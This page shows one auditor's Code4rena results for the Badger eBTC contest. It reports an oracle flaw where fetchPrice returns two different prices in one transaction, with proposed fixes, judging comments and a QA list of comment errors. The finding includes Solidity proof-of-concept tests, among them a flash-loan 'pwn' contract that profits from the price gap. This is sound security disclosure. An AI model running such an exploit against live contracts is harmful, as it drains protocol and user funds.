Badger eBTC Audit + Certora Formal Verification Competition - shaka's results

Use stETH to borrow Bitcoin with 0% fees | The only smart contract based #BTC.

General Information

Platform: Code4rena

Start Date: 24/10/2023

Pot Size: $149,725 USDC

Total HM: 7

Participants: 52

Period: 21 days

Judge: ronnyx2017

Total Solo HM: 2

Id: 300

League: ETH

eBTC Protocol

Findings Distribution

Researcher Performance

Rank: 5/52

Findings: 2

Award: $7,146.08

QA:
grade-a

🌟 Selected for report: 1

πŸš€ Solo Findings: 0

Findings Information

🌟 Selected for report: shaka

Also found by: ether_sky

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
insufficient quality report
M-01

Awards

7028.5678 USDC - $7,028.57

External Links

Lines of code

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L341 https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/PriceFeed.sol#L231

Vulnerability details

PriceFeed.sol:fetchPrice() can return different prices in the same transaction when Chainlink price changes over 50% and the fallback oracle is not set.

In the scenario of the fallback oracle not set and the Chainlink oracle working correctly the status is usingChainlinkFallbackUntrusted. If the Chainlink price changes over 50%, the condition of line 340 evaluates to true, so the last good price is returned and the status is set to bothOraclesUntrusted.

313        // --- CASE 5: Using Chainlink, Fallback is untrusted ---
314        if (status == Status.usingChainlinkFallbackUntrusted) {
    (...)
340            if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
341                _changeStatus(Status.bothOraclesUntrusted);
342                return lastGoodPrice;
343            }

However, if the price is requested again and the Chainlink price still returns a price change over 50% from the previous round, having the status set to bothOraclesUntrusted will cause the condition of line 220 to evaluate to true and, given that the fallback oracle is not set and the Chainlink oracle is neither broken nor frozen, the price returned will be the current Chainlink price.

219        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
220        if (status == Status.bothOraclesUntrusted) {
221            /*
222             * If there's no fallback, only use Chainlink
223             */
224            if (address(fallbackCaller) == address(0)) {
225                // If CL has resumed working
226                if (
227                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
228                    !_chainlinkIsFrozen(chainlinkResponse)
229                ) {
230                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
231                    return _storeChainlinkPrice(chainlinkResponse.answer);
232                }
233            }

Impact

A difference in the price returned by fetchPrice in the same transaction can be exploited to perform an arbitrage in different ways.

In the case of an increase of over 50% in the Chainlink price, a user can redeem a CDP with the last good price and then open a new CDP with the current Chainlink price, obtaining a collateral surplus.

In the case of a decrease over 50%, a user can open a CDP with the last good price and then redeem it with the current Chainlink price, obtaining a collateral surplus.

In both cases, the collateral surplus is obtained at the expense of the protocol with no risk for the user.

Proof of Concept

<details> <summary>PoC 1</summary>

This PoC shows that fetchPrice can return different prices in the same transaction when the Chainlink price changes over 50% and the fallback oracle is not set.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import {IPriceFeed} from "../contracts/Interfaces/IPriceFeed.sol";
import {PriceFeed} from "../contracts/PriceFeed.sol";
import {PriceFeedTester} from "../contracts/TestContracts/PriceFeedTester.sol";
import {MockTellor} from "../contracts/TestContracts/MockTellor.sol";
import {MockAggregator} from "../contracts/TestContracts/MockAggregator.sol";
import {eBTCBaseFixture} from "./BaseFixture.sol";
import {TellorCaller} from "../contracts/Dependencies/TellorCaller.sol";
import {AggregatorV3Interface} from "../contracts/Dependencies/AggregatorV3Interface.sol";

contract AuditPriceFeedTest is eBTCBaseFixture {
    address constant STETH_ETH_CL_FEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812;

    PriceFeedTester internal priceFeedTester;
    MockAggregator internal _mockChainLinkEthBTC;
    MockAggregator internal _mockChainLinkStEthETH;
    uint80 internal latestRoundId = 321;
    int256 internal initEthBTCPrice = 7428000;
    int256 internal initStEthETHPrice = 9999e14;
    uint256 internal initStEthBTCPrice = 7428e13;
    address internal authUser;

    function setUp() public override {
        eBTCBaseFixture.setUp();
        eBTCBaseFixture.connectCoreContracts();
        eBTCBaseFixture.connectLQTYContractsToCore();

        // Set current and prev price
        _mockChainLinkEthBTC = new MockAggregator();
        _initMockChainLinkFeed(_mockChainLinkEthBTC, latestRoundId, initEthBTCPrice, 8);
        _mockChainLinkStEthETH = new MockAggregator();
        _initMockChainLinkFeed(_mockChainLinkStEthETH, latestRoundId, initStEthETHPrice, 18);

        priceFeedTester = new PriceFeedTester(
            address(0), // fallback oracle not set
            address(authority),
            address(_mockChainLinkStEthETH),
            address(_mockChainLinkEthBTC)
        );
        priceFeedTester.setStatus(IPriceFeed.Status.usingChainlinkFallbackUntrusted);

        // Grant permission on price feed
        authUser = _utils.getNextUserAddress();
        vm.startPrank(defaultGovernance);
        authority.setUserRole(authUser, 4, true);
        authority.setRoleCapability(4, address(priceFeedTester), SET_FALLBACK_CALLER_SIG, true);
        vm.stopPrank();
    }

    function _initMockChainLinkFeed(
        MockAggregator _mockFeed,
        uint80 _latestRoundId,
        int256 _price,
        uint8 _decimal
    ) internal {
        _mockFeed.setLatestRoundId(_latestRoundId);
        _mockFeed.setPrevRoundId(_latestRoundId - 1);
        _mockFeed.setPrice(_price);
        _mockFeed.setPrevPrice(_price);
        _mockFeed.setDecimals(_decimal);
        _mockFeed.setUpdateTime(block.timestamp);
    }

    function testPriceChangeOver50PerCent() public {
        uint256 lastGoodPrice = priceFeedTester.lastGoodPrice();

        // Price change over 50%
        int256 newEthBTCPrice = (initEthBTCPrice * 2) + 1;
        _mockChainLinkEthBTC.setPrice(newEthBTCPrice);

        // Get price
        uint256 newPrice = priceFeedTester.fetchPrice();
        IPriceFeed.Status status = priceFeedTester.status();
        assertEq(newPrice, lastGoodPrice); // last good price is used
        assertEq(uint256(status), 2); // bothOraclesUntrusted
        
        // Get price again in the same block (no changes in ChainLink price)
        newPrice = priceFeedTester.fetchPrice();
        status = priceFeedTester.status();
        assertGt(newPrice, lastGoodPrice * 2); // current ChainLink price is used
        assertEq(uint256(status), 4); // usingChainlinkFallbackUntrusted
    }
}
</details> <details> <summary>PoC 2</summary>

This PoC shows how to exploit the vulnerability to perform an arbitrage.

PriceFeedTestnet.sol has been edited to simulate the scenario proved in the previous test, where the first call to fetchPrice returns the last good price and the second call returns the current Chainlink price.

@@ -44,6 +44,12 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner {
         return _price;
     }
 
+    bool private isFirstCall = true;
+
+    function setIsFirstCall(bool _isFirstCall) external {
+        isFirstCall = _isFirstCall;
+    }
+
     function fetchPrice() external override returns (uint256) {
         // Fire an event just like the mainnet version would.
         // This lets the subgraph rely on events to get the latest price even when developing locally.
@@ -53,8 +59,13 @@ contract PriceFeedTestnet is IPriceFeed, Ownable, AuthNoOwner {
                 _price = fallbackResponse.answer;
             }
         }
-        emit LastGoodPriceUpdated(_price);
-        return _price;
+
+        if (isFirstCall) {
+            isFirstCall = false;
+            return _price;
+        } else {
+            return _price * 2 + 1;
+        }
     }
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";

import {eBTCBaseFixture} from "./BaseFixture.sol";
import {IERC20} from "../contracts/Dependencies/IERC20.sol";
import {IERC3156FlashLender} from "../contracts/Interfaces/IERC3156FlashLender.sol";
import {IBorrowerOperations} from "../contracts/Interfaces/IBorrowerOperations.sol";
import {IERC3156FlashBorrower} from "../contracts/Interfaces/IERC3156FlashBorrower.sol";
import {ICdpManager} from "../contracts/Interfaces/ICdpManager.sol";
import {HintHelpers} from "../contracts/HintHelpers.sol";

contract AuditArbitrageTest is eBTCBaseFixture {
    FlashLoanBorrower internal flashBorrower;
    uint256 internal initialPrice;

    function setUp() public override {
        eBTCBaseFixture.setUp();
        eBTCBaseFixture.connectCoreContracts();
        eBTCBaseFixture.connectLQTYContractsToCore();

        // Create a CDP to have collateral in the protocol
        initialPrice = priceFeedMock.getPrice();
        uint256 _coll = 1_000e18;
        uint256 _debt = (_coll * initialPrice) / 200e16;
        dealCollateral(address(this), _coll + cdpManager.LIQUIDATOR_REWARD());
        collateral.approve(address(borrowerOperations), type(uint256).max);
        borrowerOperations.openCdp(_debt, bytes32(0), bytes32(0), _coll + cdpManager.LIQUIDATOR_REWARD());
        // Reset `isFirstCall` to true, as `fetchPrice` is called on `openCdp`
        priceFeedMock.setIsFirstCall(true);

        // Create flash loan borrower
        flashBorrower = new FlashLoanBorrower(
            address(collateral),
            address(eBTCToken),
            address(borrowerOperations),
            address(cdpManager),
            address(hintHelpers)
        );
    }

    function testArbitragePriceChangeOver50PerCent() public {
        assertEq(collateral.balanceOf(address(flashBorrower)), 0);
        assertEq(eBTCToken.balanceOf(address(flashBorrower)), 0);
        assertEq(activePool.getSystemCollShares(), 1_000e18);

        uint256 eBTCBborrowAmount = 10e18;
        flashBorrower.pwn(eBTCBborrowAmount, initialPrice);

        uint256 minExpectedCollProfit = 40e18;
        assertGt(collateral.balanceOf(address(flashBorrower)), minExpectedCollProfit);
        assertLt(collateral.balanceOf(address(flashBorrower)), 1_000e18 - minExpectedCollProfit);
    }
}

contract FlashLoanBorrower {
    IERC20 public immutable collateral;
    IERC20 public immutable eBTCToken;
    IBorrowerOperations public immutable borrowerOperations;
    ICdpManager public immutable cdpManager;
    HintHelpers public immutable hintHelpers;

    constructor(
        address _collateral,
        address _eBTCToken,
        address _borrowerOperations,
        address _cdpManager,
        address _hintHelpers
    ) {
        collateral = IERC20(_collateral);
        eBTCToken = IERC20(_eBTCToken);
        borrowerOperations = IBorrowerOperations(_borrowerOperations);
        cdpManager = ICdpManager(_cdpManager);
        hintHelpers = HintHelpers(_hintHelpers);
        collateral.approve(_borrowerOperations, type(uint256).max);
        eBTCToken.approve(_borrowerOperations, type(uint256).max);
    }

    function pwn(
        uint256 amount,
        uint256 price
    ) external {
        IERC3156FlashLender(address(borrowerOperations)).flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(eBTCToken),
            amount,
            abi.encodePacked(price)
        );
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        uint256 price = abi.decode(data, (uint256));

        // Redeem collateral with `amount` eBTC at last valid price
        (bytes32 firstRedemptionHint, uint256 partialRedemptionHintNICR, , ) = hintHelpers
            .getRedemptionHints(amount, price, 0);
        cdpManager.redeemCollateral(
            amount,
            firstRedemptionHint,
            firstRedemptionHint,
            firstRedemptionHint,
            partialRedemptionHintNICR,
            0,
            1e18
        );

        // Open CDP with redeemed collateral at new price (now we receive more eBTC than `amount`)
        uint256 coll = collateral.balanceOf(address(this));
        uint256 newPrice = price * 2 + 1;
        uint256 debt = ((coll - 2e17 /*LIQUIDATOR_REWARD*/) * newPrice) / 110e16;
        bytes32 cdpId = borrowerOperations.openCdp(debt, bytes32(0), bytes32(0), coll);

        // Repay surplus eBTC and withdraw its proportional collateral
        uint256 availableEBTC = eBTCToken.balanceOf(address(this)) - (amount + fee);
        uint256 collToRedeem = (availableEBTC * 110e16) / newPrice;
        borrowerOperations.adjustCdp(cdpId, collToRedeem, availableEBTC, false, bytes32(0), bytes32(0));

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}
</details>

Tools Used

Manual inspection.

            // If Chainlink price has changed by > 50% between two consecutive rounds, compare it to Fallback's price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                // If Fallback is broken, both oracles are untrusted, and return last good price
                // We don't trust CL for now given this large price differential
                if (_fallbackIsBroken(fallbackResponse)) {
                    _changeStatus(Status.bothOraclesUntrusted);
                    return lastGoodPrice;
                }

    (...)

            // If Chainlink is live but deviated >50% from it's previous price and Fallback is still untrusted, switch
            // to bothOraclesUntrusted and return last good price
-           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)) {
+           if (_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse) && address(fallbackCaller) != address(0)) {
                _changeStatus(Status.bothOraclesUntrusted);
                return lastGoodPrice;
            }

Assessed type

Oracle

#0 - c4-pre-sort

2023-11-17T14:51:33Z

bytes032 marked the issue as insufficient quality report

#1 - c4-sponsor

2023-11-20T09:36:15Z

GalloDaSballo (sponsor) confirmed

#2 - c4-sponsor

2023-11-20T09:36:21Z

GalloDaSballo marked the issue as disagree with severity

#3 - GalloDaSballo

2023-11-20T09:36:57Z

The pre-requisite to this finding is CL having a 50% Deviation between two rounds

This is extremely unlikely

That said, the logic is incorrect and the finding is a valid gotcha we will fix

#4 - rayeaster

2023-11-23T06:49:43Z

I would suggest another fix approach different from above "Recommended Mitigation" since it make sense to set the status to bothOraclesUntrusted if fallback not set while CL got a big (>50%) reporting deviation between two rounds.

Using above "Recommneded Mitigation" would result in exactly what it is trying to avoid: "the price returned will be the current Chainlink price"

Since eBTC allows empty fallback (unlike original Liquity which always assumes the fallback is set) so additional checks are required to be executed around

  • function _bothOraclesLiveAndUnbrokenAndSimilarPrice()
  • function _bothOraclesSimilarPrice()

to distinguish the scenarios when fallback is set (broken/frozen) AND when fallback is not set at all

     function _bothOraclesLiveAndUnbrokenAndSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        ChainlinkResponse memory _prevChainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal view returns (bool) {
        // Return false if either oracle is broken or frozen
        if (
+          (address(fallbackCaller) != address(0) && (_fallbackIsBroken(_fallbackResponse) || _fallbackIsFrozen(_fallbackResponse))) ||
-           _fallbackIsBroken(_fallbackResponse) ||
-           _fallbackIsFrozen(_fallbackResponse) ||
            _chainlinkIsBroken(_chainlinkResponse, _prevChainlinkResponse) ||
            _chainlinkIsFrozen(_chainlinkResponse)
        ) {
            return false;
        }

        return _bothOraclesSimilarPrice(_chainlinkResponse, _fallbackResponse);
    }

    
    function _bothOraclesSimilarPrice(
        ChainlinkResponse memory _chainlinkResponse,
        FallbackResponse memory _fallbackResponse
    ) internal pure returns (bool) {
+       if (address(fallbackCaller) == address(0)){
+           return true;
+       }       
        // Get the relative price difference between the oracles. Use the lower price as the denominator, i.e. the reference for the calculation.
        uint256 minPrice = EbtcMath._min(_fallbackResponse.answer, _chainlinkResponse.answer);
        ......
    }

And finally, we need to apply some extra guards in the state machine for status bothOraclesUntrusted and ensure that the price-similarity comparison between primary & fallback oracle happens ONLY AFTER other single-source checks (bad/frozen/max-deviation):

  function fetchPrice() external override returns (uint256) {
        ......
        // --- CASE 3: Both oracles were untrusted at the last price fetch ---
        if (status == Status.bothOraclesUntrusted) {
            /*
             * If there's no fallback, only use Chainlink
             */
            if (address(fallbackCaller) == address(0)) {
                // If CL has resumed working
                if (
                    !_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse) &&
                    !_chainlinkIsFrozen(chainlinkResponse)
+                   && !_chainlinkPriceChangeAboveMax(chainlinkResponse, prevChainlinkResponse)
                ) {
                    _changeStatus(Status.usingChainlinkFallbackUntrusted);
                    return _storeChainlinkPrice(chainlinkResponse.answer);
                }
+               else {
+                   return lastGoodPrice;
+               }
            }

         ......
   }

The PR for the fix is TBA

#5 - jhsagd76

2023-11-25T02:01:15Z

If the price oracle will be uesed for tokens with high volatility I belive this should be at least a med risk issue. However it's only for BTC and stETH, it's more like a QA under normal rules. The mitigation from the sponsor shows that it's a safety design for price oracle. This fills the gap in the confidence interval of chainlink. I think it can be marked as a med risk, as a defence bypass instead of a price manipulation.

#6 - c4-judge

2023-11-25T02:01:32Z

jhsagd76 changed the severity to 2 (Med Risk)

#7 - c4-judge

2023-11-25T02:10:56Z

jhsagd76 marked the issue as satisfactory

#8 - c4-judge

2023-11-25T05:51:04Z

jhsagd76 marked the issue as primary issue

#9 - c4-judge

2023-11-28T03:22:55Z

jhsagd76 marked the issue as selected for report

Awards

117.508 USDC - $117.51

Labels

bug
grade-a
QA (Quality Assurance)
sufficient quality report
Q-04

External Links

Low Risk Issues

IDTitleInstances
[L-01]Misleading comments for protocol integrations1

[L-01] Misleading comments for protocol integrations

File: SortedCdps.sol
134:     /// @notice Find a specific CDP for a given owner, indexed by it's place in the linked list relative to other Cdps owned by the same address
135:     /// @notice Reverts if the index exceeds the number of active Cdps owned by the given owner πŸ‘ˆ
136:     /// @dev Intended for off-chain use, O(n) operation on size of SortedCdps linked list
137:     /// @param owner address of CDP owner
138:     /// @param index index of CDP, ordered by position in linked list relative to Cdps of the same owner
139:     /// @return CDP Id if found
140:     function cdpOfOwnerByIndex(

The comment Reverts if the index exceeds the number of active Cdps owned by the given owner is not correct. If the index exceeds the number of active Cdps owned by the given owner, the function returns dummyId instead of reverting.

The only place where it is used is LeverageMacroBase and there are checks in place to ensure that the CDP is valid, but it is recommended either updating natspec or adding a require statement to avoid wrong assumptions in future integrations.

Non-Critical Issues

IDTitleInstances
[N-01]Unused or unnecessary variables3
[N-02]Unused functions2
[N-03]Incorrect comments and erratas16

[N-01] Unused or unnecessary variables

File: CdpManager.sol
244:     function _closeCdpByRedemption(
245:         bytes32 _cdpId,
246:         uint256 _EBTC, πŸ‘ˆ always 0
247:         uint256 _collSurplus,
248:         uint256 _liquidatorRewardShares,
249:         address _borrower
250:     ) internal {
File: HintHelpers.sol
19:     struct LocalVariables_getRedemptionHints {
20:         uint256 remainingEbtcToRedeem;
21:         uint256 minNetDebtInBTC; πŸ‘ˆ
22:         bytes32 currentCdpId;
23:         address currentCdpUser;
24:     }
File: HintHelpers.sol
133:     function _calculateCdpStateAfterPartialRedemption(
134:         LocalVariables_getRedemptionHints memory vars,
135:         uint256 currentCdpDebt,
136:         uint256 _price
137:     ) internal view returns (uint256, uint256) {
138:         // maxReemable = min(remainingToRedeem, currentDebt)
139:         uint256 maxRedeemableEBTC = EbtcMath._min(vars.remainingEbtcToRedeem, currentCdpDebt); πŸ‘ˆ This is called when currentCdpDebt > remainingEbtcToRedeem, so always maxRedeemableEBTC = remainingEbtcToRedeem

[N-02] Unused functions

File: EBTCToken.sol
306:     function _requireCallerIsBorrowerOperations() internal view {
307:         require(
308:             msg.sender == borrowerOperationsAddress,
309:             "EBTCToken: Caller is not BorrowerOperations"
310:         );
311:     }
File: EBTCToken.sol
323:     function _requireCallerIsCdpM() internal view {
324:         require(msg.sender == cdpManagerAddress, "EBTC: Caller is not CdpManager");
325:     }

[N-03] Incorrect comments and erratas

File: CdpManager.sol
315:     /// @param _upperPartialRedemptionHint The first CdpId to be considered for redemption, could get from HintHelper.getApproxHint(_partialRedemptionHintNICR) then SortedCdps.findInsertPosition(_partialRedemptionHintNICR)
316:     /// @param _lowerPartialRedemptionHint The first CdpId to be considered for redemption, could get from HintHelper.getApproxHint(_partialRedemptionHintNICR) then SortedCdps.findInsertPosition(_partialRedemptionHintNICR)
File: CdpManager.sol
593:     // Check whether or not the system *would be* in Recovery Mode,
594:     // given an ETH:USD price, and the entire system coll and debt. πŸ‘ˆ should be `stETH:BTC`
595:     function _checkPotentialRecoveryMode(
File: CdpManager.sol
619:         /* Convert the drawn ETH back to EBTC at face value rate (1 EBTC:1 USD), in order to get πŸ‘ˆ should be `1 EBTC = 1 BTC`
620:          * the fraction of total supply that was redeemed at face value. */
621:         uint256 redeemedEBTCFraction = (collateral.getPooledEthByShares(_ETHDrawn) * _price) /
622:             _totalEBTCSupply;
File: CdpManager.sol
721:     /// @notice Check whether or not the system *would be* in Recovery Mode,
722:     /// @notice given an ETH:eBTC price, and the entire system coll and debt. πŸ‘ˆ should be `stETH:BTC`
File: CdpManagerStorage.sol
134:     // A doubly linked list of Cdps, sorted by their sorted by their collateral ratios πŸ‘ˆ `sorted by their` repeated
135:     ISortedCdps public immutable sortedCdps;
File: CollSurplusPool.sol
34:     /**
35:      * @notice Sets the addresses of the contracts and renounces ownership
36:      * @dev One-time initialization function. Can only be called by the owner as a security measure. Ownership is renounced after the function is called. πŸ‘ˆ not applicable
37:      * @param _borrowerOperationsAddress The address of the BorrowerOperations
38:      * @param _cdpManagerAddress The address of the CDPManager
39:      * @param _activePoolAddress The address of the ActivePool
40:      * @param _collTokenAddress The address of the CollateralToken
41:      */
File: HintHelpers.sol
207:     /// @notice Compute CR for a specified collateral, debt amount, and price
208:     /// @param _coll The collateral amount, in shares πŸ‘ˆ it is collateral balance, not shares
209:     /// @param _debt The debt amount
210:     /// @param _price The current price
211:     /// @return The computed CR for the given parameters
File: LeverageMacroBase.sol
462:         /**
463:          * Open CDP and Emit event πŸ‘ˆ no event emitted
464:          */
465:         bytes32 _cdpId = borrowerOperations.openCdp(
466:             flData.eBTCToMint,
467:             flData._upperHint,
468:             flData._lowerHint,
469:             flData.stETHToDeposit
470:         );
File: LeverageMacroDelegateTarget.sol
26: /**
27:  * @title Implementation of the LeverageMacro, meant to be called via a delegatecall by a SC Like Wallet
28:  * @notice The Caller MUST implement the `function owner() external view returns (address)`
29:  * @notice to use this contract:
30:  *      Add this logic address to `callbackHandler` for the function `onFlashLoan`
31:  *      Add the inteded allowances (see above) πŸ‘ˆ typo in `inteded`, should be `intended`
32:  *      Toggle the `callbackEnabledForCall` for the current call, by adding a call to `enableCallbackForCall`
33:  *      Perform the operation
File: LiquidationLibrary.sol
36:     /// @notice Fully liquidate a single Cdp by ID. Cdp must meet the criteria for liquidation at the time of execution.
37:     /// @notice callable by anyone, attempts to liquidate the CdpId. Executes successfully if Cdp meets the conditions for liquidation (e.g. in Normal Mode, it liquidates if the Cdp's ICR < the system MCR).
38:     /// @dev forwards msg.data directly to the liquidation library using OZ proxy core delegation function πŸ‘ˆ not applicable
39:     /// @param _cdpId ID of the Cdp to liquidate.
40:     function liquidate(bytes32 _cdpId) external nonReentrantSelfAndBOps {
File: LiquidationLibrary.sol
44:     /// @notice Partially liquidate a single Cdp.
45:     /// @dev forwards msg.data directly to the liquidation library using OZ proxy core delegation function πŸ‘ˆ not applicable
46:     /// @param _cdpId ID of the Cdp to partially liquidate.
47:     /// @param _partialAmount Amount to partially liquidate.
48:     /// @param _upperPartialHint Upper hint for reinsertion of the Cdp into the linked list.
49:     /// @param _lowerPartialHint Lower hint for reinsertion of the Cdp into the linked list.
50:     function partiallyLiquidate(
File: LiquidationLibrary.sol
673:     /// @notice Attempt to liquidate a custom list of Cdps provided by the caller
674:     /// @notice Callable by anyone, accepts a custom list of Cdps addresses as an argument.
675:     /// @notice Steps through the provided list and attempts to liquidate every Cdp, until it reaches the end or it runs out of gas.
676:     /// @notice A Cdp is liquidated only if it meets the conditions for liquidation.
677:     /// @dev forwards msg.data directly to the liquidation library using OZ proxy core delegation function πŸ‘ˆ not applicable
678:     /// @param _cdpArray Array of Cdps to liquidate.
679:     function batchLiquidateCdps(bytes32[] memory _cdpArray) external nonReentrantSelfAndBOps {
File: SortedCdps.sol
21:  * The list relies on the fact that liquidation events preserve ordering: a liquidation decreases the NICRs of all active Cdps,
22:  * but maintains their order. A node inserted based on current NICR will maintain the correct position,
23:  * relative to it's peers, as rewards accumulate, as long as it's raw collateral and debt have not changed. πŸ‘ˆ typo in `it's`, should be `its`
24:  * Thus, Nodes remain sorted by current NICR.
File: AuthNoOwner.sol
33:         // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
34:         // aware that this makes protected functions uncallable even to the owner if the authority is out of order. πŸ‘ˆ not applicable
35:         return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig));
File: AuthNoOwner.sol
39:         // We check if the caller is the owner first because we want to ensure they can
40:         // always swap out the authority even if it's reverting or using up a lot of gas. πŸ‘ˆ not applicable
41:         require(_authority.canCall(msg.sender, address(this), msg.sig));
File: EbtcBase.sol
35:     uint256 public constant BORROWING_FEE_FLOOR = 0; // 0.5%

#0 - c4-pre-sort

2023-11-17T13:26:11Z

bytes032 marked the issue as sufficient quality report

#1 - c4-judge

2023-11-27T11:01:31Z

jhsagd76 marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter